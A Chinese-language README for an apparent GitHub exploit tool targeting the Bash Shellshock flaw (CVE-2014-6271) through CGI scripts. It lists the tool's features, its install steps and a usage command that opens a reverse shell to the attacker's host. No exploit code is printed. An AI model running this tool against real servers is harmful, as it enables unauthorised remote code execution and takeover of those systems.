🚨 Shellshock RCE 漏洞利用工具 (CVE-2014-6271)

这是一个针对 Shellshock 漏洞 (CVE-2014-6271) 的 Python 利用工具，该漏洞影响 GNU Bash。此工具攻击易受攻击的 Web 服务器上的 CGI 脚本，并建立到攻击者机器的 反向 shell。

CVE ID

CVE-2014-6271

免责声明

此工具仅可用于 教育和道德目的。

功能特性

• 利用易受攻击的 CGI 脚本（通过 Shellshock）
• 反向 shell 处理程序
• 支持：
  • HTTP 和 HTTPS
  • 自定义 CGI 路径
  • 代理支持
• 成功时提供交互式 shell

CVE 信息

• CVE: CVE-2014-6271
• 漏洞: GNU Bash 环境变量命令注入
• 影响: 通过精心构造的标头向 CGI 应用程序实现远程代码执行 (RCE)

依赖要求

• Python 3.x
• pwntools
• requests

安装

sudo python3 -m pip install pwntools
sudo python3 -m pip install requests
git clone https://github.com/knightc0de/Shellshock_vuln_Exploit.git
cd Shellshock_vuln_Exploit/
chmod +x CVE-2014-6271.py

使用示例

python3 CVE-2014-6271 --rhost <target_ip> --lhost <your_ip> --lport <your_port> --pages /cgi-bin/test.cgi